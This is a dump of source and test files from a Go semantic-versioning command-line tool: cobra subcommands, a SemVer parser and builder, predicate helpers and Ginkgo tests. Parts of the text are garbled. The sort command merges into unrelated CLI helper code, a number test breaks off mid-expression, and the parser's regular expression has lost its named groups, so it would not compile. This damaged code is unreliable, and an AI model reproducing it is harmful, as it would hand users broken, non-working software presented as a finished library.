path="/cmd/semver/format.go" // SPDX-License-Identifier: MIT package main import ( "os" "text/template" sprig "github.com/go-task/slim-sprig/v3" "github.com/spf13/cobra" "github.com/snarlingkimo/semver/v2/internal/pkg/cli" "github.com/snarlingkimo/semver/v2/pkg/semver" ) type semVer struct { Major uint Minor uint Patch uint PreRelease string BuildMetadata string } var formatCmd = &cobra.Command{ Use: "format [flag] FORMAT [semver]", Short: "Format and print semantic versions", Long: `This command formats and prints the given semantic versions according to the given format template. The struct being passed to the template is: type SemVer struct { Major uint Minor uint Patch uint PreRelease string BuildMetadata string }`, Example: ` semver format '{{.Major}}.{{.Minor}}' 1.0.0 semver format '{{.Major}}.{{.Minor}}.{{.Patch}}-{{.PreRelease}}.1' 1.0.0-alpha+001`, Args: cobra.MinimumNArgs(1), DisableFlagsInUseLine: true, Run: func(cmd *cobra.Command, args []string) { text := args[0] tpl, err := template.New("semver").Funcs(sprig.FuncMap()).Parse(text) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } format := func(s string) { semver, err := semver.Parse(s) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } data := semVer{ Major: semver.Major, Minor: semver.Minor, Patch: semver.Patch, PreRelease: semver.PreReleaseString(), BuildMetadata: semver.BuildMetadataString(), } err = tpl.Execute(os.Stdout, data) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } cmd.Printf("\n") } cli.Apply(args[1:], cmd.InOrStdin(), format) }, } func init() { formatCmd.SetUsageTemplate(usageTemplate) rootCmd.AddCommand(formatCmd) } ``` ## /cmd/semver/major.go ```go path="/cmd/semver/major.go" // SPDX-License-Identifier: MIT package main import ( "os" "github.com/spf13/cobra" "github.com/snarlingkimo/semver/v2/internal/pkg/cli" "github.com/snarlingkimo/semver/v2/pkg/semver" ) var majorCmd = &cobra.Command{ Use: "major [flag] [semver]...", Short: "Increment semantic versions to the next major version", Long: `This command increments a given semantic version to the next major version.`, Example: ` semver next major 1.0.0-alpha+001`, Args: cobra.ArbitraryArgs, DisableFlagsInUseLine: true, Run: func(cmd *cobra.Command, args []string) { nextMajor := func(s string) { semver, err := semver.Parse(s) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } cmd.Printf("%s\n", semver.NextMajor().String()) } cli.Apply(args, cmd.InOrStdin(), nextMajor) }, } func init() { majorCmd.SetUsageTemplate(usageTemplate) nextCmd.AddCommand(majorCmd) } ``` ## /cmd/semver/minor.go ```go path="/cmd/semver/minor.go" // SPDX-License-Identifier: MIT package main import ( "os" "github.com/spf13/cobra" "github.com/snarlingkimo/semver/v2/internal/pkg/cli" "github.com/snarlingkimo/semver/v2/pkg/semver" ) var minorCmd = &cobra.Command{ Use: "minor [flag] [semver]...", Short: "Increment semantic versions to the next minor version", Long: `This command increments a given semantic version to the next minor version.`, Example: ` semver next minor 1.0.0-alpha+001`, Args: cobra.ArbitraryArgs, DisableFlagsInUseLine: true, Run: func(cmd *cobra.Command, args []string) { nextMinor := func(s string) { semver, err := semver.Parse(s) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } cmd.Printf("%s\n", semver.NextMinor().String()) } cli.Apply(args, cmd.InOrStdin(), nextMinor) }, } func init() { minorCmd.SetUsageTemplate(usageTemplate) nextCmd.AddCommand(minorCmd) } ``` ## /cmd/semver/next.go ```go path="/cmd/semver/next.go" // SPDX-License-Identifier: MIT package main import ( "github.com/spf13/cobra" ) var nextCmd = &cobra.Command{ Use: "next", Short: "Increment semantic versions", Long: `This command increments a given semantic version to the next major, minor or patch version.`, Args: cobra.NoArgs, } func init() { nextCmd.SetUsageTemplate(usageTemplate) rootCmd.AddCommand(nextCmd) } ``` ## /cmd/semver/patch.go ```go path="/cmd/semver/patch.go" // SPDX-License-Identifier: MIT package main import ( "os" "github.com/spf13/cobra" "github.com/snarlingkimo/semver/v2/internal/pkg/cli" "github.com/snarlingkimo/semver/v2/pkg/semver" ) var patchCmd = &cobra.Command{ Use: "patch [flag] [semver]...", Short: "Increment semantic versions to the next patch version", Long: `This command increments a given semantic version to the next patch version.'`, Example: ` semver next patch 1.0.0-alpha+001`, Args: cobra.ArbitraryArgs, DisableFlagsInUseLine: true, Run: func(cmd *cobra.Command, args []string) { nextPatch := func(s string) { semver, err := semver.Parse(s) if err != nil { cmd.PrintErrf("error: %v\n", err) os.Exit(1) } cmd.Printf("%s\n", semver.NextPatch().String()) } cli.Apply(args, cmd.InOrStdin(), nextPatch) }, } func init() { patchCmd.SetUsageTemplate(usageTemplate) nextCmd.AddCommand(patchCmd) } ``` ## /cmd/semver/semver.go ```go path="/cmd/semver/semver.go" // SPDX-License-Identifier: MIT package main import ( "os" "github.com/spf13/cobra" ) const usageTemplate = `Usage:{{if .Runnable}} {{.UseLine}}{{end}}{{if .HasAvailableSubCommands}} {{.CommandPath}} [command]{{end}}{{if gt (len .Aliases) 0}} Aliases: {{.NameAndAliases}}{{end}}{{if .HasAvailableSubCommands}} Available Commands:{{range .Commands}}{{if (or .IsAvailableCommand (eq .Name "help"))}} {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}} Flags: {{.LocalFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasExample}} Examples: {{.Example}}{{end}}{{if .HasAvailableInheritedFlags}} Global Flags: {{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}} Additional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}} {{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}} Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}} ` var rootCmd = &cobra.Command{ Use: "semver", Long: "The semantic version utility", } func init() { rootCmd.SetUsageTemplate(usageTemplate) rootCmd.Flags().FlagUsages() rootCmd.SetIn(os.Stdin) rootCmd.SetOut(os.Stdout) rootCmd.SetErr(os.Stderr) } func main() { if err := rootCmd.Execute(); err != nil { os.Exit(1) } } ``` ## /cmd/semver/sort.go ```go path="/cmd/semver/sort.go" // SPDX-License-Identifier: MIT package main import ( "os" "sort" "github.com/spf13/cobra" "github.com/snarlingkimo/semver/v2/internal/pkg/cli" "github.com/snarlingkimo/semver/v2/pkg/semver" ) var ( reverseFlag bool sortCmd = &cobra.Command{ Use: "sort [flag] [semver]...", Short: "Sort semantic versions", Long: `This command sorts semantic versions.`, Example: ` semver sort 1.1.1 1.0.0 1.0.1 semver sort --reverse 1.1.1 1.0.0 1.0.1 semver sort 0 { for _, s := range args { f(s) } } else { reader := bufio.NewReader(rd) scanner := bufio.NewScanner(reader) for scanner.Scan() { f(scanner.Text()) } } os.Exit(0) } func Map(args []string, rd io.Reader, f func(s []string)) { if len(args) == 0 { args = make([]string, 0) reader := bufio.NewReader(rd) scanner := bufio.NewScanner(reader) for scanner.Scan() { args = append(args, scanner.Text()) } } f(args) os.Exit(0) } ``` ## /internal/pkg/number/number.go ```go path="/internal/pkg/number/number.go" // SPDX-License-Identifier: MIT package number import ( "fmt" "math/bits" "regexp" "strconv" "golang.org/x/exp/constraints" ) const ( pattern = `^(0|[1-9]\d*)$` base = 10 ) var /* const */ numericRegexp *regexp.Regexp func init() { numericRegexp = regexp.MustCompile(pattern) } func ParseUint(s string) (uint, error) { u, err := strconv.ParseUint(s, base, bits.UintSize) if err != nil { return 0, fmt.Errorf("failed to parse uint: %w", err) } return uint(u), nil } func MustParseUint(s string) uint { u, err := ParseUint(s) if err != nil { panic(err) } return u } func IsNumeric(s string) bool { return numericRegexp.MatchString(s) } func CompareInt[T constraints.Integer](a, b T) int { if a == b { return 0 } if a < b { return -1 } return +1 } ``` ## /internal/pkg/number/number_suite_test.go ```go path="/internal/pkg/number/number_suite_test.go" // SPDX-License-Identifier: MIT package number_test import ( "testing" . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" ) func TestNumber(t *testing.T) { t.Parallel() RegisterFailHandler(Fail) suiteConfig, reporterConfig := GinkgoConfiguration() reporterConfig.Verbose = true RunSpecs(t, "Number Suite", suiteConfig, reporterConfig) } ``` ## /internal/pkg/number/number_test.go ```go path="/internal/pkg/number/number_test.go" // SPDX-License-Identifier: MIT package number_test import ( "fmt" "math/bits" "strconv" . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" "github.com/snarlingkimo/semver/v2/internal/pkg/number" ) var _ = Describe("number: ", func() { var ( maxUint = uint(1< b ", func(a, b uint) { result := number.CompareInt(a, b) Expect(result).To(Equal(1)) }, Entry("should return 1", uint(1), uint(0)), Entry("should return 1", uint(2), uint(1)), Entry("should return 1", maxUint, maxUint-1), ) }) Describe("MinInt[T constraints.Ordered](x, y T) T", func() { DescribeTable("when a == b", func(a, b uint) { result := min(a, b) Expect(result).To(Equal(a)) Expect(result).To(Equal(b)) }, Entry("should return 0", uint(0), uint(0)), Entry("should return 0", uint(1), uint(1)), Entry("should return 0", maxUint, maxUint), ) DescribeTable("when a < b ", func(a, b uint) { result := min(a, b) Expect(result).To(Equal(a)) }, Entry("should return -1", uint(0), uint(1)), Entry("should return -1", uint(1), uint(2)), Entry("should return -1", maxUint-1, maxUint), ) DescribeTable("when a > b ", func(a, b uint) { result := min(a, b) Expect(result).To(Equal(b)) }, Entry("should return 1", uint(1), uint(0)), Entry("should return 1", uint(2), uint(1)), Entry("should return 1", maxUint, maxUint-1), ) }) }) ``` ## /internal/pkg/predicate/predicate.go ```go path="/internal/pkg/predicate/predicate.go" // SPDX-License-Identifier: MIT package predicate import "github.com/samber/lo" func And[T any](p ...func(t T) bool) func(t T) bool { return func(t T) bool { accumulator := func(agg bool, item func(t T) bool, _ int) bool { return agg && item(t) } return lo.Reduce(p, accumulator, true) } } func Negate[T any](p func(t T) bool) func(t T) bool { return func(t T) bool { return !p(t) } } func Or[T any](p ...func(t T) bool) func(t T) bool { return func(t T) bool { accumulator := func(agg bool, item func(t T) bool, _ int) bool { return agg || item(t) } return lo.Reduce(p, accumulator, false) } } ``` ## /internal/pkg/predicate/predicate_suite_test.go ```go path="/internal/pkg/predicate/predicate_suite_test.go" // SPDX-License-Identifier: MIT package predicate_test import ( "testing" . "github.com/onsi/ginkgo/v2" "github.com/onsi/gomega" ) func TestPredicate(t *testing.T) { t.Parallel() gomega.RegisterFailHandler(Fail) suiteConfig, reporterConfig := GinkgoConfiguration() reporterConfig.Verbose = true RunSpecs(t, "Predicate Suite", suiteConfig, reporterConfig) } ``` ## /internal/pkg/predicate/predicate_test.go ```go path="/internal/pkg/predicate/predicate_test.go" // SPDX-License-Identifier: MIT package predicate_test import ( . "github.com/onsi/ginkgo/v2" "github.com/onsi/gomega" "github.com/snarlingkimo/semver/v2/internal/pkg/predicate" ) var _ = Describe("predicate: ", func() { Describe("func And[T any](p ...func(t T) bool) func(t T) bool", func() { Context(`when len(p) is 1 and p0(t) is true`, func() { It("should return true", func() { p0 := func(any) bool { return true } actual := predicate.And(p0)(nil) gomega.Expect(actual).To(gomega.BeTrue()) }) }) Context(`when len(p) is 1 and p0(t) is false`, func() { It("should return false", func() { p0 := func(any) bool { return false } actual := predicate.And(p0)(nil) gomega.Expect(actual).To(gomega.BeFalse()) }) }) Context(`when len(p) > 1, p0(t) is true and p1(t) is false`, func() { It("should return false", func() { p0 := func(any) bool { return true } p1 := func(any) bool { return false } actual := predicate.And(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeFalse()) }) }) Context(`when len(p) > 1, p0(t) is false and p1(t) is true`, func() { It("should return true", func() { p0 := func(any) bool { return false } p1 := func(any) bool { return true } actual := predicate.And(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeFalse()) }) }) Context(`when len(p) > 1, p0(t) is false and p1(t) is false`, func() { It("should return false", func() { p0 := func(any) bool { return false } p1 := func(any) bool { return false } actual := predicate.And(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeFalse()) }) }) Context(`when len(p) > 1, p0(t) is true and p1(t) is true`, func() { It("should return true", func() { p0 := func(any) bool { return true } p1 := func(any) bool { return true } actual := predicate.And(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeTrue()) }) }) }) Describe("func Negate[T any](p func(t T) bool) func(t T) bool", func() { Context(`when p(t) is true`, func() { It("should return false", func() { p := func(any) bool { return true } actual := predicate.Negate(p)(nil) gomega.Expect(actual).To(gomega.BeFalse()) }) }) Context(`when p(t) is false`, func() { It("should return true", func() { p := func(any) bool { return false } actual := predicate.Negate(p)(nil) gomega.Expect(actual).To(gomega.BeTrue()) }) }) }) Describe("Or[T any](p ...func(t T) bool) func(t T) bool", func() { Context(`when len(p) is 1 and p0(t) is true`, func() { It("should return true", func() { p0 := func(any) bool { return true } actual := predicate.Or(p0)(nil) gomega.Expect(actual).To(gomega.BeTrue()) }) }) Context(`when len(p) is 1 and p0(t) is false`, func() { It("should return false", func() { p0 := func(any) bool { return false } actual := predicate.Or(p0)(nil) gomega.Expect(actual).To(gomega.BeFalse()) }) }) Context(`when len(p) > 1, p0(t) is true and p1(t) is false`, func() { It("should return true", func() { p0 := func(any) bool { return true } p1 := func(any) bool { return false } actual := predicate.Or(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeTrue()) }) }) Context(`when len(p) > 1, p0(t) is false and p1(t) is true`, func() { It("should return true", func() { p0 := func(any) bool { return false } p1 := func(any) bool { return true } actual := predicate.Or(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeTrue()) }) }) Context(`when len(p) > 1, p0(t) is false and p1(t) is false`, func() { It("should return false", func() { p0 := func(any) bool { return false } p1 := func(any) bool { return false } actual := predicate.Or(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeFalse()) }) }) Context(`when len(p) > 1, p0(t) is true and p1(t) is true`, func() { It("should return true", func() { p0 := func(any) bool { return true } p1 := func(any) bool { return true } actual := predicate.Or(p0, p1)(nil) gomega.Expect(actual).To(gomega.BeTrue()) }) }) }) }) ``` ## /pkg/semver/builder.go ```go path="/pkg/semver/builder.go" // SPDX-License-Identifier: MIT package semver type Builder struct { major uint minor uint patch uint preRelease []string buildMetadata []string } func NewBuilder() *Builder { return &Builder{ major: 0, minor: 0, patch: 0, preRelease: []string{}, buildMetadata: []string{}, } } func (b *Builder) Major(major uint) *Builder { return &Builder{ major: major, minor: b.minor, patch: b.patch, preRelease: b.preRelease, buildMetadata: b.buildMetadata, } } func (b *Builder) Minor(minor uint) *Builder { return &Builder{ major: b.major, minor: minor, patch: b.patch, preRelease: b.preRelease, buildMetadata: b.buildMetadata, } } func (b *Builder) Patch(patch uint) *Builder { return &Builder{ major: b.major, minor: b.minor, patch: patch, preRelease: b.preRelease, buildMetadata: b.buildMetadata, } } func (b *Builder) PreRelease(preRelease []string) *Builder { return &Builder{ major: b.major, minor: b.minor, patch: b.patch, preRelease: preRelease, buildMetadata: b.buildMetadata, } } func (b *Builder) PreReleaseField(preRelease string) *Builder { return &Builder{ major: b.major, minor: b.minor, patch: b.patch, preRelease: append(b.preRelease, preRelease), buildMetadata: b.buildMetadata, } } func (b *Builder) BuildMetadata(buildMetadata []string) *Builder { return &Builder{ major: b.major, minor: b.minor, patch: b.patch, preRelease: b.preRelease, buildMetadata: buildMetadata, } } func (b *Builder) BuildMetadataField(buildMetadata string) *Builder { return &Builder{ major: b.major, minor: b.minor, patch: b.patch, preRelease: b.preRelease, buildMetadata: append(b.buildMetadata, buildMetadata), } } func (b *Builder) Build() (*SemVer, bool) { semver := &SemVer{ Major: b.major, Minor: b.minor, Patch: b.patch, PreRelease: b.preRelease, BuildMetadata: b.buildMetadata, } return semver, semver.IsValid() } ``` ## /pkg/semver/builder_test.go ```go path="/pkg/semver/builder_test.go" // SPDX-License-Identifier: MIT package semver_test import ( . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" "github.com/snarlingkimo/semver/v2/pkg/semver" ) var _ = Describe("semver:", func() { Describe("func NewBuilder() *Builder", func() { It("should return a new Builder", func() { builder := semver.NewBuilder() Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(0))) Expect(actual.Minor).To(Equal(uint(0))) Expect(actual.Patch).To(Equal(uint(0))) Expect(actual.PreRelease).To(Equal([]string{})) Expect(actual.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (b *Builder) Major(major uint) *Builder", func() { It("should set major version correctly", func() { builder := semver.NewBuilder().Major(42) Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(42))) Expect(actual.Minor).To(Equal(uint(0))) Expect(actual.Patch).To(Equal(uint(0))) Expect(actual.PreRelease).To(Equal([]string{})) Expect(actual.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (b *Builder) Minor(minor uint) *Builder", func() { It("should set minor version correctly", func() { builder := semver.NewBuilder().Minor(42) Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(0))) Expect(actual.Minor).To(Equal(uint(42))) Expect(actual.Patch).To(Equal(uint(0))) Expect(actual.PreRelease).To(Equal([]string{})) Expect(actual.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (b *Builder) Patch(patch uint) *Builder", func() { It("should set patch version correctly", func() { builder := semver.NewBuilder().Patch(42) Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(0))) Expect(actual.Minor).To(Equal(uint(0))) Expect(actual.Patch).To(Equal(uint(42))) Expect(actual.PreRelease).To(Equal([]string{})) Expect(actual.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (b Builder) PreRelease(preRelease []string) *Builder", func() { It("should set patch version correctly", func() { builder := semver.NewBuilder().PreRelease([]string{"alpha", "1"}) Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(0))) Expect(actual.Minor).To(Equal(uint(0))) Expect(actual.Patch).To(Equal(uint(0))) Expect(actual.PreRelease).To(Equal([]string{"alpha", "1"})) Expect(actual.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (b Builder) PreReleaseField(preRelease string) *Builder", func() { It("should set patch version correctly", func() { builder := semver.NewBuilder().PreReleaseField("alpha") Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(0))) Expect(actual.Minor).To(Equal(uint(0))) Expect(actual.Patch).To(Equal(uint(0))) Expect(actual.PreRelease).To(Equal([]string{"alpha"})) Expect(actual.BuildMetadata).To(Equal([]string{})) }) }) Describe("func (b Builder) BuildMetadata(buildMetadata []string) *Builder", func() { It("should set patch version correctly", func() { builder := semver.NewBuilder().BuildMetadata([]string{"2020.01.01", "1"}) Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(0))) Expect(actual.Minor).To(Equal(uint(0))) Expect(actual.Patch).To(Equal(uint(0))) Expect(actual.PreRelease).To(Equal([]string{})) Expect(actual.BuildMetadata).To(Equal([]string{"2020.01.01", "1"})) }) }) Describe("func (b Builder) BuildMetadataField(buildMetadata string) *Builder", func() { It("should set patch version correctly", func() { builder := semver.NewBuilder().BuildMetadataField("2020.01.01") Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(actual).ShouldNot(BeNil()) Expect(ok).Should(BeTrue()) Expect(actual.Major).To(Equal(uint(0))) Expect(actual.Minor).To(Equal(uint(0))) Expect(actual.Patch).To(Equal(uint(0))) Expect(actual.PreRelease).To(Equal([]string{})) Expect(actual.BuildMetadata).To(Equal([]string{"2020.01.01"})) }) }) Describe("func (b Builder) Build() (*SemVer, bool)", func() { Describe("when building a valid semantic version", func() { It("should return the correct SemVer struct", func() { builder := semver.NewBuilder(). Major(1). Minor(2). Patch(3). PreReleaseField("alpha"). BuildMetadataField("2020.01.01") Expect(builder).ShouldNot(BeNil()) actual, ok := builder.Build() Expect(ok).To(BeTrue()) Expect(actual.Major).To(Equal(uint(1))) Expect(actual.Minor).To(Equal(uint(2))) Expect(actual.Patch).To(Equal(uint(3))) Expect(actual.PreRelease).To(Equal([]string{"alpha"})) Expect(actual.BuildMetadata).To(Equal([]string{"2020.01.01"})) }) }) }) }) ``` ## /pkg/semver/semver.go ```go path="/pkg/semver/semver.go" // SPDX-License-Identifier: MIT package semver import ( "errors" "fmt" "reflect" "regexp" "strings" "github.com/snarlingkimo/semver/v2/internal/pkg/number" ) const ( MaxMajor = ^uint(0) MaxMinor = ^uint(0) MaxPatch = ^uint(0) NamedGroupsPattern = `^(?P0|[1-9]\d*)\.(?P0|[1-9]\d*)\.(?P0|[1-9]\d*)` + `(?:-(?P(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?` + `(?:\+(?P[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$` ) var ( ErrNextMajorUintOverflow = errors.New("next major version overflows uint") ErrNextMinorUintOverflow = errors.New("next minor version overflows uint") ErrNextPatchUintOverflow = errors.New("next patch version overflows uint") semverRegexp *regexp.Regexp ) func init() { semverRegexp = regexp.MustCompile(NamedGroupsPattern) } type InvalidSemVerError string func (s InvalidSemVerError) Error() string { return "invalid semantic version: " + string(s) } type SemVer struct { Major uint `json:"major"` Minor uint `json:"minor"` Patch uint `json:"patch"` PreRelease []string `json:"preRelease"` BuildMetadata []string `json:"buildMetadata"` } type BySemVer []SemVer func (s BySemVer) Len() int { return len(s) } func (s BySemVer) Less(i, j int) bool { return s[i].CompareTo(s[j]) == -1 } func (s BySemVer) Swap(i, j int) { s[i], s[j] = s[j], s[i] } func Parse(s string) (*SemVer, error) { matches := semverRegexp.FindAllStringSubmatch(s, -1) if matches == nil { return nil, InvalidSemVerError(s) } groupNames := semverRegexp.SubexpNames() semver := &SemVer{} for groupIdx, group := range matches[0] { name := groupNames[groupIdx] switch name { case "major": semver.Major = number.MustParseUint(group) case "minor": semver.Minor = number.MustParseUint(group) case "patch": semver.Patch = number.MustParseUint(group) case "prerelease": semver.PreRelease = splitDotSeparatedString(group) case "buildmetadata": semver.BuildMetadata = splitDotSeparatedString(group) } } return semver, nil } func MustParse(s string) *SemVer { semver, err := Parse(s) if err != nil { panic(err) } return semver } func IsValid(s string) bool { return semverRegexp.MatchString(s) } func (s *SemVer) SetMajor(major uint) { s.Major = major } func (s *SemVer) SetMinor(minor uint) { s.Minor = minor } func (s *SemVer) SetPatch(patch uint) { s.Patch = patch } func (s *SemVer) SetPreRelease(preRelease []string) { s.PreRelease = preRelease } func (s *SemVer) SetBuildMetadata(buildMetadata []string) { s.BuildMetadata = buildMetadata } func (s *SemVer) NextMajor() *SemVer { if s.IsPreRelease() { return &SemVer{ Major: s.Major, Minor: s.Minor, Patch: s.Patch, PreRelease: []string{}, BuildMetadata: []string{}, } } if s.Major == MaxMajor { panic(ErrNextMajorUintOverflow) } return &SemVer{ Major: s.Major + 1, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } } func (s *SemVer) NextMinor() *SemVer { if s.IsPreRelease() { return &SemVer{ Major: s.Major, Minor: s.Minor, Patch: s.Patch, PreRelease: []string{}, BuildMetadata: []string{}, } } if s.Minor == MaxMinor { panic(ErrNextMinorUintOverflow) } return &SemVer{ Major: s.Major, Minor: s.Minor + 1, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}, } } func (s *SemVer) NextPatch() *SemVer { if s.IsPreRelease() { return &SemVer{ Major: s.Major, Minor: s.Minor, Patch: s.Patch, PreRelease: []string{}, BuildMetadata: []string{}, } } if s.Patch == MaxPatch { panic(ErrNextPatchUintOverflow) } return &SemVer{ Major: s.Major, Minor: s.Minor, Patch: s.Patch + 1, PreRelease: []string{}, BuildMetadata: []string{}, } } func (s *SemVer) IsValid() bool { return semverRegexp.MatchString(s.String()) } func (s *SemVer) IsRelease() bool { return s.IsNotPreRelease() && s.HasNoBuildMetadata() } func (s *SemVer) IsNotPreRelease() bool { return len(s.PreRelease) == 0 } func (s *SemVer) IsPreRelease() bool { return len(s.PreRelease) > 0 } func (s *SemVer) HasNoBuildMetadata() bool { return len(s.BuildMetadata) == 0 } func (s *SemVer) HasBuildMetadata() bool { return len(s.BuildMetadata) > 0 } func (s *SemVer) CompareTo(o SemVer) int { // Major, minor, and patch versions are always compared numerically. if res := number.CompareInt(s.Major, o.Major); res != 0 { return res } else if res := number.CompareInt(s.Minor, o.Minor); res != 0 { return res } else if res := number.CompareInt(s.Patch, o.Patch); res != 0 { return res } // => Major, minor, and patch are equal and pre-release identifiers are not equal // When major, minor, and patch are equal, a pre-release version has lower precedence than a normal version. switch { case s.IsNotPreRelease() && o.IsNotPreRelease(): return 0 case s.IsNotPreRelease(): return 1 case o.IsNotPreRelease(): return -1 } // Precedence for two pre-release versions with the same major, minor, and patch version MUST be determined by // comparing each dot separated identifier from left to right until a difference is found as follows: identifiers // consisting of only digits are compared numerically and identifiers with letters or hyphens are compared // lexically in ASCII sort order. for i := range min(len(s.PreRelease), len(o.PreRelease)) { if res := comparePreReleaseIdentifier(s.PreRelease[i], o.PreRelease[i]); res != 0 { return res } } // A larger set of pre-release fields has a higher precedence than a smaller set, if all the preceding // identifiers are equal. if len(s.PreRelease) > len(o.PreRelease) { return 1 } else if len(s.PreRelease) < len(o.PreRelease) { return -1 } // => Core versions and pre-release identifiers are equal. return 0 } func (s *SemVer) String() string { str := fmt.Sprintf("%d.%d.%d", s.Major, s.Minor, s.Patch) if s.IsPreRelease() { str = fmt.Sprintf("%s-%s", str, s.PreReleaseString()) } if s.HasBuildMetadata() { str = fmt.Sprintf("%s+%s", str, s.BuildMetadataString()) } return str } func (s *SemVer) PreReleaseString() string { return strings.Join(s.PreRelease, ".") } func (s *SemVer) BuildMetadataString() string { return strings.Join(s.BuildMetadata, ".") } func (s *SemVer) Equal(o SemVer) bool { return reflect.DeepEqual(*s, o) } func splitDotSeparatedString(s string) []string { if s == "" { return []string{} } return strings.Split(s, ".") } func comparePreReleaseIdentifier(a, b string) int { if a == b { return 0 } if number.IsNumeric(a) && number.IsNumeric(b) { return number.CompareInt(number.MustParseUint(a), number.MustParseUint(b)) } return strings.Compare(a, b) } ``` ## /pkg/semver/semver_suite_test.go ```go path="/pkg/semver/semver_suite_test.go" // SPDX-License-Identifier: MIT package semver_test import ( "testing" . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" ) func TestSemver(t *testing.T) { t.Parallel() RegisterFailHandler(Fail) suiteConfig, reporterConfig := GinkgoConfiguration() reporterConfig.Verbose = true RunSpecs(t, "Semver Suite", suiteConfig, reporterConfig) } ``` ## /pkg/semver/semver_test.go ```go path="/pkg/semver/semver_test.go" // SPDX-License-Identifier: MIT package semver_test import ( "sort" "strconv" "strings" . "github.com/onsi/ginkgo/v2" . "github.com/onsi/gomega" "github.com/snarlingkimo/semver/v2/internal/pkg/number" "github.com/snarlingkimo/semver/v2/pkg/semver" ) var _ = Describe("semver:", func() { Describe("type InvalidSemVerError string", func() { Context("when error message is set", func() { It("should return the correct error message", func() { err := semver.InvalidSemVerError("0") Expect(err.Error()).To(Equal("invalid semantic version: 0")) }) }) }) Describe("type SemVer struct", func() { It("should implement the sort.Interface interface", func() { actual := []semver.SemVer{ {Major: 1, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}}, {Major: 1, Minor: 1, Patch: 1, PreRelease: []string{}, BuildMetadata: []string{}}, {Major: 1, Minor: 0, Patch: 1, PreRelease: []string{}, BuildMetadata: []string{}}, {Major: 1, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}}, } sort.Sort(semver.BySemVer(actual)) expected := []semver.SemVer{ {Major: 1, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}}, {Major: 1, Minor: 0, Patch: 0, PreRelease: []string{}, BuildMetadata: []string{}}, {Major: 1, Minor: 0, Patch: 1, PreRelease: []string{}, BuildMetadata: []string{}}, {Major: 1, Minor: 1, Patch: 1, PreRelease: []string{}, BuildMetadata: []string{}}, } Expect(actual).To(Equal(expected)) }) }) Describe("func Parse(s string) (*SemVer, error)", func() { Describe("when input is a valid semantic version", func() { DescribeTable("it should not error and return the correct SemVer struct", func(input string, major, minor, patch int, preRelease, buildMetadata string) { actual, err := semver.Parse(input) expected := semver.SemVer{ Major: uint(major), Minor: uint(minor), Patch: uint(patch), PreRelease: splitDotSeparatedString(preRelease), BuildMetadata: splitDotSeparatedString(buildMetadata), } Expect(err).ShouldNot(HaveOccurred()) Expect(actual).To(Equal(&expected)) }, Entry("0.0.0", "0.0.0", 0, 0, 0, "", ""), Entry("0.0.1", "0.0.1", 0, 0, 1, "", ""), Entry("0.1.0", "0.1.0", 0, 1, 0, "", ""), Entry("1.0.0", "1.0.0", 1, 0, 0, "", ""), Entry("1.0.1", "1.0.1", 1, 0, 1, "", ""), Entry("1.1.0", "1.1.0", 1, 1, 0, "", ""), Entry("1.1.1", "1.1.1", 1, 1, 1, "", ""), Entry("1.10.0", "1.10.0", 1, 10, 0, "", ""), Entry("1.0.10", "1.0.10", 1, 0, 10, "", ""), Entry("10.0.0", "10.0.0", 10, 0, 0, "", ""), Entry("10.10.0", "10.10.0", 